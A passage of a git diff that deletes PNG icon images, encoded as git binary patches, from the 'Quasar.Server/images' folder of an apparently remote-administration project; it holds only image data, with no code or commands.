zpT}T%Qab4GthHRm+X3ny6kLNX*M0^RvniCPn%E(0!i}KX8E=PP8AxQUB9so#WClaE z8Q$@Yme#7?8F&gZ1H|kvR5OGA!f2D0X7O79-Ca;A1sllN_F?t@QBHM~K5>+DxxRFy zn^fDYXj?yvLWCf1)2k%th(eStm3FGTjlchd&)zMsA8H?vo}yCw>?qSk#1i!Z{J;F7 e-$zmY3NQc>HPk6~O~^O^00000fhdEP)RB*?~^j!LKVQ>(O&A{Xr%)RXLn#U zs4LtZ6rCMFY5|B2$)yG$6aaIF6w#wHUuW*nL5>vZR zlg{G&%mT~|kL3ei%GW0*UOHUMs5XI$4uxe-L?I@SAefq*207}Iqtjm#e5*fP53AiC z)C|RQfwzxx<#_WfANRGZx{+tFDl8~Q?;~Ve=lM^*8UTTnVL?HTDz8uta0D@d28E9S z_)i8aLz^UE6PPKymi;2GJ`34{eIia-CtfAt0H61rk0 SPTNud0000Af0ik2w6+lpSX>YUs|dlu(qI$9>Fut&IV?S*Da3)d znVorgc4k*tYZ)gbW5(Ybs7gcNr(g_diwy)FDVZ0e68Pp!!{8m;*lLny%xPz4Y_Yy( zuY7U(fj!%fX+7<*JPWs-Aqjkg;nR+iiGWL`HTG!pnB=93QLq~AQd-i;f;$LzHmMW` z&A6<5qM!9(+7ALAd*=i)FDf?3NxZ_96Oz43l~)ndeTG&$M=Ub&gl52vTC3B(+9#64 zNo{?DyZZ~S4~a%x!kZ}98LrWpgr!pwo$@d>!{Tq>Md-BflLqnsKhviG0|0(vX0VEM Rkdpua002ovPDHLkV1n_Goa+Dp diff --git a/Quasar.Server/images/bricks.png b/Quasar.Server/images/bricks.png deleted file mode 100644 index 0905f933b87ab32f21098d7db8d603209730c753..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 825 zcmV-91IGM`P)wd|HNMlZ|>D)M67h? zOIjz3DJbk0=97q(mSBd~-ilc0Oupt^z$#N6O&at_s8u-PL@9M^gQuq(+UH^IB$&*DHP!HzH+vkEzC?S52tN1$mKhziPkOR=y$ zhl#aO1Xly_M?EkN>tM6E5T&Ht4dh{0oQr6Q1b3J=sM^ACOsvD=TSP81#0oTC1v|Df zgpp-GhL(KrE_8t&(jeFR1W%(osQ12tvSpHp_}~HR_8G{VUO;FILQv(P-b)es=)ZlJM#c>{Wx-rgY3D#Ol9rJl39A<60Xo5cneo(9g5a4q>ayzV-7%Ue2}0_ z&TIets{Cl`n(nefrZ+9F8|N&Kp}^StU2b+&pVj;XvgEdBL3Wlp00000NkvXXu0mjf DwZ3{L diff --git a/Quasar.Server/images/broom.png b/Quasar.Server/images/broom.png deleted file mode 100644 index 2c6152ef621a20c8bb016742c08153f20cd8e71e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 784 zcmV+r1MmEaP)0Hy9IdnOjm|8iDrb~(_gorLm$cws&E&`E?@S>Xnp>MK_0tqxD+)y*nqBPRUqEyO{ zSeYd{zqWL9@Ah^ME(k&jeBt*#hvz)cbN=U?=MbLfv7S$Ovnm9v1gpa!WOahs(+xcK z>j})ct8)R0XP8Hr5GH>Bbv_?zL;hot0-AS^LB~63A=8ovbvw!q>D|ky6aFJP&0^!T z>+f7S$s|~A)JT6WBiUfwrEhxBV&nX4D~O}kgqZI^7F%-V8%|kzB3M@yrJj$9so`uIV{MDI}O3`ihEN7c7=06c?M( zI+%n-$09fmgaUynhd6p{{CrPWU#5tMTofA(S-JuOdRO1=IhaxR0pFS^-G}e*;M)Q6>s#cP zI`Y#S($G6W`W@NI5g|L-MKl0Zmu$m^(0~^Lwo5OO~d#(vPfzCQDsH?WF>AIFt zQuJ}i;w2$ZUU#3SZ6RY0Gw;kZ&ol1~2ky^QZ(fom$=jNJZt!z7w_pH~wdQ;R)Gh%BbQFCx+Nm!4SuS-vkr`vhhrX zM*>w%e+v~?m@q~ImPAgtLkR_3U<2F8LP3W5=LJ*ZN|S5p#sf4YFr$p~Q~Z*0Ngxf2 zjk#J#<7EAlhzlrV53~GF&pIzcCN_lz9@05UeoUXiK%N z#x+4o*i_c|6_Uu1+&TIho?3@y4k-#b8Y_o94zW*B3a1ne2-Y5s0uke$$|@=}OP-i= zNYZQA=>PrZu0MfSL=b8UhD_={W4IY1{b{)U)*gc45xtL%IYLY&hF;d`@GzI&7H&D# zh;z_BX$#hqh@q?AY3sJTod2%*Yd)_>YM0#q&ixGuh+PQsneK)F0000a!u4Ek1OWvhNg%r^rdTXsY3VK8?SdPP#w89em&*t9`8-y> z{{XWmi9uo#0y2mREC>R)tyU|D<2Xwun+7u3ce~yHC8N{n5>SE*7ca{{mxCuK52M#x z6?VgqVUHr69iApkt_fp7}UIJIX)^0!0b=W3KH zu#9)c?;$B!KqeOeo#x5*?d$d(>1am)Y%kbK4HaZEF7DqvCglmk2%DRMFl4hCO2bI^ zX=T@9j!era3Mj9K%ggW14jP4g$@9D^u1>q%4oF>&Q{%YG^bC$1Iv|Sn?VXTj+j1A` z_4;iBxjK9L%sJ01;N^>_f2ih9=zM1B|Mb6I%0_FShXA!&ZGuYnYi{m5Mm>)<#Bd!= zpw*3PwK}@fZ5>`FlHMWvu(C4}Mrzlg<+1Y8PEBfUp0jJpx4B>@E+cy3`^(Gw`Mf+2&yxZm<$to~Vpgvg&QKNR z_f#1(r6svZt%iF?s+n<8X?B&!h3g9Dbb8_=MX}!;HiQSAh`bp^WMl~Z-44teO7W_Y zV4thSL{h;rJY7!l3%5J4H1!tIzB`Dv+YxO(haWeausGZYkI8^hWj6mzo=L0{%;yxzh{5!Htr?51 zvG|W62MzC8BZ76hRpCyO2zOn<%e)K>NHge!-~)Ap33OdWw6hsLYbCxGNt0%wk_2z7 zfyYvXheSG)5HRK1VB~%mq7Dmurw#bi@hEcOr3&G1ZiF*$M=&9nB#VNf&Q^r$4G5kp zTURh&s)E0%5&hyVD}sp<72~zmAY`Y(9aqO6CXF%=zFHGzO-A&I(pE}v70YQxCPJ{Y z4L+?5-crdLn3ZRPEs!A4ehEY3ZRpL~w9>@aMN+{F4dI@v&>(QDHQum!mG~E^$OS8l z!7?%Uwib*ROP67Hw`ika)gX-(8Ia`-u_IEhxG7U<13kSsMW+$lbb2dUMm5p6pa}cjgA+U$^mJ^AjD?&bdi)8~y+Q002ovPDHLkV1g8IMc@Dc diff --git a/Quasar.Server/images/done.png b/Quasar.Server/images/done.png deleted file mode 100644 index a9925a06ab02db30c1e7ead9c701c15bc63145cb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 537 zcmV+!0_OdRP)Hs{AQG2a)rMyf zFQK~pm1x3+7!nu%-M`k}``c>^00{o_1pjWJUTfl8mg=3qGEl8H@}^@w`VUx0_$uy4 z2FhRqKX}xI*?Tv1DJd8z#F#0c%*~rM30HE1@2o5m~}ZyoWhqv>ql{V z1ZGE0lgcoK^lx+eqc*rAX1Ky;Xx3U%u#zG!m-;eD1Qsn@kf3|F9qz~|95=&g3(7!X zB}JAT>RU;a%vaNOGnJ%e1=K6eAh43c(QN8RQ6~GP%O}Jju$~Ld*%`mO1pR5;6} zQ_E@-Q5gPaa(xuUD*8Dh=U) zD{du|NeqWWL?V$HXdX!Y!C-(yB7saML!ujex*;{2O`)Djr7#|kPuQhW2q;Ms0)c=~ zkH_PP#bVGj4c%_H7$kMFPPNjeXf!IqSD$x6*>zo*ripw$k5;R-5hNwUFfba8!~yx6 z=rAe!W9?@Z6U#s;`2>;BIVg%EToOTn*l9o@UXrjZ%kl{a6J?6!^cr66Z{p$NQ>dy+ zm_m?Lsa6Uipdf-Tsn=YYU!iM*@iq1QD%O^6;K(%ay#ENB>Pu0!An<`?HJ8hY-2KIH zcfAb9D}@EUQ{QK< v0Jmp<;WRC~B^izzSeUp@_IuU)>d*fH-<_8fCSRm-00000NkvXXu0mjfWW=I5Rl}zuENrQ28Pt;CX(qKOcDU|M8F&Z%jVGSZA7t& zSX&s1bi|{*v*DgAz3ST9+K6Us3~0Q9*~BWe6PID=&0x|wWdf!IWgI(}6lv9v-FpSS zw1U9OL{Ex%ACuJL>=wxTZg0 zEf8`!jsrze5UvA~SqG-HeEY!{P)iC{?3#nq?S616TB~hnMW{0-6j9tLvf?&u+XiC{ z?O_E0jiYQZlqIojGL$5a1qk9N)mlxpmZq1W6gHT`ec`8K>j$jl3}`WfukS z{=!u2#P1a^U!H8Xl5T`7??NT1t zUc_pqB=&-xQ}oxwg~5^6HaUDuDLGXE;y3!@QP_pOFSc-kKKIu gX8xa5{%_a#2W_ovs9z>%07*qoM6N<$f|edvg8%>k diff --git a/Quasar.Server/images/file.png b/Quasar.Server/images/file.png deleted file mode 100644 index d60cc398bdcd848b21b9605f1827342f1d447793..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 510 zcmVfcKY#vY`1bY7G@#HW1~kA3rFo*Gqwh_eJVg{F^dF@8 z?>~lbKYlVifAyB((X*Efdp0hAGiS~m7ogNdYzCOFUbFU;iMb_;>Hq%yWBC5#7sH3o zUm28TB^YX}D?x@hBfA7rPr&*`T`+Y{;iC-x>ILIKk|eruw&YX3us7N}WeD zVC_j;I|l}A;K$G33_pMWVPIwgdhh>#hWxzTw_7)@*9S^Hg&P3$!bvA*7Y1D5FDOjD z|6q9j`W?fn)oU2~+w0AN!lzISaC39VX~2IV1jPy{U^i^o$dHqff@%QJ)RSIbUJQi5 zUtl=iD^{*L z85|TulmTnktpmCs4Ap?;D^{Ki3k@O408lJMMuejpuypx~lab+JL>aJrnb$#l0KX5-5rzh`-v9sr07*qoM6N<$g3Te{ A9RL6T diff --git a/Quasar.Server/images/folder.png b/Quasar.Server/images/folder.png deleted file mode 100644 index 784e8fa48234f4f64b6922a6758f254ee0ca08ec..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 537 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 diff --git a/Quasar.Server/images/lightning.png b/Quasar.Server/images/lightning.png deleted file mode 100644 index 9680afd12f8fadf5b83f827240978446af5962b6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 634 zcmV-=0)_pFP)3kp_oQM4NsQ6$aEKj6mx0hg})10sT;E2V;K zUHNY7qG&TIJ`gc&M*EmdrgP_>>zSLTO=}7j2M*`nnfbo+_|8cvrSLzG(R^{I&fHg| z3Nfi70*Jk=pS3m4lD_qhO!oanz~FpWe?InrjDM6H7D@P(w+NOTuL0gfPQ>)8EiKPO>RV|@%G(EApK7|ni6$Or7s}#zN5D2fFuoW z?SUp(cysDe%D^FVRe!-fK+o2zXp zH&*H~_``&05AX{CqjQ9Pq)Pw`p&~+e-<5=lgjH9A;4MsYR*p|Xp3o{VtL6Q8vD&1u z_TBwgt>E(`Zp(h8_8f=r&cr~-uy!|BC|zGKq17aQeR}wL=f1PUhPjus5Lo&7j={xc zCLhQZ=E~bn;<}`gh7Bu?>ih@P+*yw5-^u2k8!el-HG?lt4o$V&*`tbh^4#JtCOgRB z@^-thiGaZ!P|20J4^o7;v)78_|FldDe9Z$i&;9^|y&bKi-n=y{JsccrzVF2T076QP UWao5~B>(^b07*qoM6N<$g7%3ha{vGU diff --git a/Quasar.Server/images/monitor.png b/Quasar.Server/images/monitor.png deleted file mode 100644 index d040bd022329544e27841426895700bd4bd3aadd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 612 zcmV-q0-ODbP) zlf7$HK@h-y`|e%TykI^w7?PY_EJaAPQ54c>8q53x3fJksAZa2BCYUM*sVua!l3=50 z1dSH9NARmNLGvZv<-M8Rv3QsB1}{LI`;8@!q4VZC%_V z($)|W@MebM6lV#a& zfU34!!f@p@U7a0N`V)>GiP;fDG$0YU$1qc=n0xaYRSAaA#PbPt+vx8D8 zB67J83x@zGq~M&(A%HnYBlWn*@^>KYPa(@PqEZCFm(QR6T7^0eIoK=XlUq$sy&MG<48XIWqWo>Z&VtMl{o y&kv0NU}|dWorsL?pTgE;zOB`27yg*S|Hv=)vtlNu1or3v0000(_K`e^*C)ioN>A zo?ti}?oVgtmPeyQ$Y^uWv@{a&I8;@IVHkh~M?}$!P-rn$-}ev_iDb`#clT{zO?&t4 zwUB#roBj!^)IY}TLzE*Q4udBp!qU}e<dZjbGx zK@bE&kV94dCQMxX5wjy>^DShvbjKr=%3yhUC1iQYQP$Sc*?0Q%hqa<8BCx=ZOj?8J z^`PR(bx@hqZr?bN5Ae7w2%@%!QR zda-y}31)sCgyr|)@2@X_Bgh*LHRJ5t?I>SUL!03-H9CfszNPR77PhdacUn5n_jd1$ z%}hIeiUlETqJZNKyTFu$vw#2XWl(6fmSxdqIO0YQb#?VL4{sw8scFyP;N|Ag(Wo;Z zTUI=?5m!%iJ7+t{xWx(6wBYdw&N&i!3A0LK3wy5N#b*=hjT1k7-v<}(f=T-ioxt9V?PK3JzV;UW`g8nYwq@J%HIn4H^wqgD#5zh~k~6`yE8D?#4$~nO2f-~6 z0=L79-Md>cJUm>+wr<-Ym6VpozWDrf02m4U8n4kDfxAo+X<1@lpHM5v$IulnE5P) zlih1laTv!H#vr0UAo>ToDcDs6-9&T|1YL9y!5A}ay|RSVC5g70p24(@bj2Xpi0wir zjT4pbI4^u*zOW1N6*L835E%?N=kZ;ie$S7NNp%tX!NZSpc)s87=Xp3s1OTFwmdE3{ zb|RtQ?;mx!TxynO%l~XhBob$0v6wy_4(|nnL6#(48A=_qlVh{l__ejQzs2!*{1g%I z6$%A7K0bzWxeTFD2pkT_w$tfcBB|L_Dg{2D4~$0R#-GWf(P(rxm&*a3e!maGNhXtE zwOV;X049^^fMJ+vwOV~z5Q<5|R3s89WV2c5bUM)M^{4^X;o%|hJP)N(3Cw0Q==J(> zrBXSHT0|C;`kc?_DKZKW8=KqhHXuzporYSiMol@61D#H%5U53DQLhAK0UHT2nG6sz zC>D#*Xf$Y{AvcLeE)(&Q4vk45s8lM~z`*Tx@3&g5 zfe=%g%_dDmV-(OQ zrUbsmmLXi?VA1&)?krw_OHa-kM4^=x5AFcdhlQ9b%sjzd@3GM(U=#1?o(wzpVR7dH z8Z<=d8RaU!umEkZmkO%YDlHrfjn>!K;pWRR_#XQR!{v&*S@_3q}?we7-7i00000 LNkvXXu0mjf((yoF diff --git a/Quasar.Server/images/mouse_delete.png b/Quasar.Server/images/mouse_delete.png deleted file mode 100644 index 72865668cfe796ac531ec2d40a95871aa06da700..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 741 zcmV zlTT>UVHn4Mq8SlE-6H5PsAGrDb%@qF1Uv7t%Sd7oEeZe3khvOj&=4ZM>`>dmL0iLN z5dK*n{KGbFfla3{({PH|VmX~Zb^iPIJ}>;ns1C6Q9)9rhe!t((^YH!z0K!Q-5D4_1 zNVvAPru6xIMyJzR{O5&4B5^JrkDH^>=tejkcCw_K$5OAmSS>9riF0#ve~Y)aw$3o| zMlP4b!NCEF#Udh+2;6SBXJuvO6-&)*Z*LS9JjKyNB*=!b6-EJ3BC6h@k zE-s3U09LDYZ)$34#Ar00m4q^O;lbwSW-gP-pw()j)9G*n>izwFh@yx>p#YoB2D8~b zsMG0`q$Ok-Ysb#c4o4;dVbkSivk9U}rBbL?tK8J<^2w;5 z4EcN>^?IE*8PfbFlgV{tu)e+?B18$7Qrhh{YPA}lo0duVL`TLf5C((6cVyuA`*#ly z508YD(r7ezA{mo_zFCJA{=qBwbXx(}-P1ojeezLm5L{l~r8IJvgi>O;T;_&f-%cQ^ zxqxoBIG0HFN@gvCa<5!Oru1lbN9*MeO15tW&QK%xg7!V`F0l zw(0j8jb>1-R?C6|m&U`YtF3~*2fKz-NULP<^()%$KKZl%{sTh;mq%IRcfuwj64Uu_ XBDfTk2IT+r00000NkvXXu0mjfR~lRR diff --git a/Quasar.Server/images/movie.png b/Quasar.Server/images/movie.png deleted file mode 100644 index b4ad8738f7c6f82a33e9dfebf51ef68a127e8e1f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 661 zcmV;G0&4wV?h)m ztgwqH2$@k17Hz&Crt<|4Q=87=uirVem%}Eb2M*^4=XXBO^ZkAw9{j6lH2O-VQmNsP z>UO(OtyZ^!!QlN!B=T$jH{Q-6pU+bUg8@O0YPZ`Ei^U3oK;ROAEdMv4)oMYb(SUS1 zz2^7(FNee7U;Znt}=SS+>=02sYA`HAWF{l`zx zYBcbBWfl7R`rz!DQDAzIJJ@J6D$C_Ey$eVr64ZLBj0PkU_!#{JN~MzR)-M)=(TG4O z5JG2r8|=d;fXCxulgXqkl}dYng@q5)+jsAg&1Pfuo^(23qh1FI0VbA~ptZTl0;VSK z0iVyuX0w?)K|CI(W}m-AOozpI96H4HLZLw1Z|!LR zXfgJ!R}f^H0q{>xgJZ;wtyU`+kjv$$x%oF}e(p7+@lXJh%FSC7aQ)g~gudfNVBPt*oZdlgE#sUf<{m7`BhVU5^Kkja}pdGMNn3 zX#PPypAX8VbvAcKvrHxfHQ5FEF$L(fS`d*~M^B%^SH{Pcl}cp~K(>pL%jIZt$_rv~ zKgr$z`oTfa>2#n_$U&`Av5_)h;stg%99%#$nWXf3Jz68tG0P+n2v{>22z`dp-|`rnLxdB@rVa|z1|zOTCMpPcsNraL)ZI+00000NkvXXu0mjf!?-xj diff --git a/Quasar.Server/images/music.png b/Quasar.Server/images/music.png deleted file mode 100644 index 3956a26c3b9614f7b1a3692e4c9026796a9d61c8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 711 zcmV;&0yzDNP)_h@hL5Rgj8bB!&n4I~6 zTSh(DL`DV}9T|buYWWM;e#7U?&&$PHhQ?elDkX~-^GgvtH0hyMt7U-U7elaERsoU^ z+MN}3XOWeiE!C)`X(*L6w2TV1IY|hF1$+*Ku}Q~ZO@b2s=g(vSme>iG+udd|9RhhA z3n3oYho%vZ#xVOcf~AOn<*0y0Qzi9`B%a~b=pe|2` zH(!G2C9vs*2rlfI)XCLURpNit(fJtm>M9wa@Y3bRmkx)6Y$X*pndb$xw6wr^?dr-hNunsa txxiqkXBZ~#I)_4`@c7tRyCD2t=U*dA{Sm+&7o7kA002ovPDHLkV1jdgN8|ti diff --git a/Quasar.Server/images/page_copy.png b/Quasar.Server/images/page_copy.png deleted file mode 100644 index 195dc6d6c365d298e466026b37c1959d96119ea7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 663 zcmV;I0%-k-P)^@R5;6Z z(>-WZK@^7J_sq=QY_e{46@P+~LNG}sRzZsxQHvCsN*h5ir6^j7pq-$xu$N#V1gx}9 zClV7;5)7zih-s3DB)G=7|99>ji@So7-P24n=VQ(@GctDX!^_@$bj%oviY6e4Dh;od zooe%Wvs8LEKQ&&bL&@bwi=STIAI@!-gB2jC5+?y?VR~VkrNxam-`6*8&po|RZ5LpS zNKdJ%c4bTX`XjKsnecf%W>1%6WT?pKNdLLq{=(f(Col?P1+oq@R>)W(n=x!|*BIIh z6DJGw_w`)u6yN|vAhMteYK5#b%r5^v+VCFl1IGssaclZZMS{vs-LJ2$)n7DAr6==K z<29#%AXsBsDoO}SBaXR#_Ap!JKx)(1)3O2pj0_dYWz5By*X74fRT01$Fk%P_RzOMDtV?GU{nsYq#K8iy zb6qzLYDj`_f5$BwC*WE(t0m#xYJ*=jC2|HQYHh=pf#QG7oowi`h!L!{DB$8|qY{~X zu8@sU1tWq;n$XThR0%;45mdqXM892|{CJ@0DS*}>?ami06Q_^tvM~Y3K(_-`#m!8f z8f!QIrH4y#61;0Ym0cCoLl8{IPombPHtnn7%SbTdI&G-d>ZQo!_wBMF9nzX!g8HVY xYTJPGciz9XMh3w2fmZ(7v{)r*QZD48?mrio{~Iaoqvl)`fBvPpq zMx&AF$wLCy=ytm>0=c0}l9HB4;AOjom&*aG)#;3Lxm-d`jBJkksU*W!iBc$CEJEW~ z^f_6~mytc8WYv?y;Q)O{3(mb{rq#lFI7Ft=z%F)v-CWgFot!&Kqg)0J)9v-}WSU6V zYEXVPjkv)12E-_z$D89Ipt=eLtfy1Fb~lTKaD6R5XUV6QNjmf!c(u;*?2rg6h-&E qE71%3KSt~`+5DZGcntQh00RJAd+!;_Gf~t40000`!iy8(2_#ButL^3%VaH2WCpD^U)OZxp@C)2#hU)y+@T%ZNzJigNk%37 zz-WYJwT%teVfiEI+B*@v4ey@58(ld4VY_&5-ox`e@AKg+0U-I`y79bmuw_~y6+4rZ zBG5EdFDS+@M0OSE`>d7SUDOzKZ&h*4eB1iX7tOd9RiYtW2mQ--bUahxr1`i{RG@dM zL#}_X=DDO1{;UI$pFu=dLYT_=5d8WC-sLfjr7UO-HKMAwa=!>)kEhvuwre zuW3yF@ZxFCkI*+ad|5kOX%5zu8IQjhan)UqgSrFGA_0nQFn@Z08DSEUToCSz4Z1ls z&fDbq$T&7|6iq$_uDI$@q1_kQ@dfqk*0>{SDL6V)94@)ete)j++*>bIc9sj}Y;R1o z#OpH+Yt-^4wfv{nern^iVag8pF7<5HgbW?9;ba!ELWdLwtX>N2bZe?^J zG%heMIczh2P5=M_6iGxuR5(w4lfi1jKoExWntc-=qvt+EA*VnOUP5}S5EL3u;-M`< zYf4oTD`A{}HnW**Tz~j8v$HcFW{62ymJ~YAb1I5LqB>1eZ&sofKvh*#*EKaw<9$mQ z#+`)-zz*LN2DMiq0ze^oWX~4T__X31&fkBC9-dteVaWbkoIL>2M#SUU4KKg>%x^gK+W?1GHr%?pue*-zNm)6THKUe0n}$?604j1`v3p{07*qoM6N<$g3|q- Ae*gdg diff --git a/Quasar.Server/images/reg_string.png b/Quasar.Server/images/reg_string.png deleted file mode 100644 index a451501e17081f16abfb6fcb8bdd151073be0562..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 487 zcmVpF7<5HgbW?9;ba!ELWdLwtX>N2bZe?^J zG%heMIczh2P5=M_Wl2OqR5(walf6sBP!z?Zlb!r8Ty$}BQ4pc{g>DWm4jmjsbQh)I zASjB9I7;ygaf&Fxk3k6mKZcT}gpS?XB~wW$h2y*T<~@^WJ9yyqop*BYuZ6aj@B7Hw zbzOL#$EUV!+r~5(vl_yHp3B3dK)KA3mXe>A z?gr3R1o-^oNDEn~0W^4W3f$bvoumO5S3v1JE=2~wYBquV9B}^t6jp)auJi=R4XWuo z;P4oj%uBD7257y$0qdK<(z4tM@cbf~G&BO#Y8=ym_Ya_N0NC3Hwu`{*qVxo)Rwa{W z7Jy2HV;Zov1FUUGJ~#p+7IBX81b@ih&2d;YG&qD+OR|TzUdb&r44} zD@m`!0Q$+M)M&`rZp*1vugBp>44{|)>KA~r<2dZBbf2APfVPtPm+4`03^dP@JEqho dWxMW%^$p6nYKTsd(L2%Nfb28ake(Nc)gcnjiHl06Vi5zr`8 z(3F?(m8sa))$`m0WS?l=+qJX%?3~|q&b{3f0P254(UJXrb9jGiI#k0{pbFjlDki*T zsNK65bM9bxejAF{MGVvdfg*Ucf>99P^0^-hR9&S2%@qIt{DU3aL~IrBX@O zh{xkltJMZF!Qku$_KzEIr<%^br7DT7!cwWkIkl(KYIP_Ui*UJIkjv$u`d_XSfR}Cb z{UM9R0=L_ZLZJY?UJqxoLZsE{kj-XUkQPFr5LDmuPuODtfppV3xYCS`Mgz%Y5)8w@ 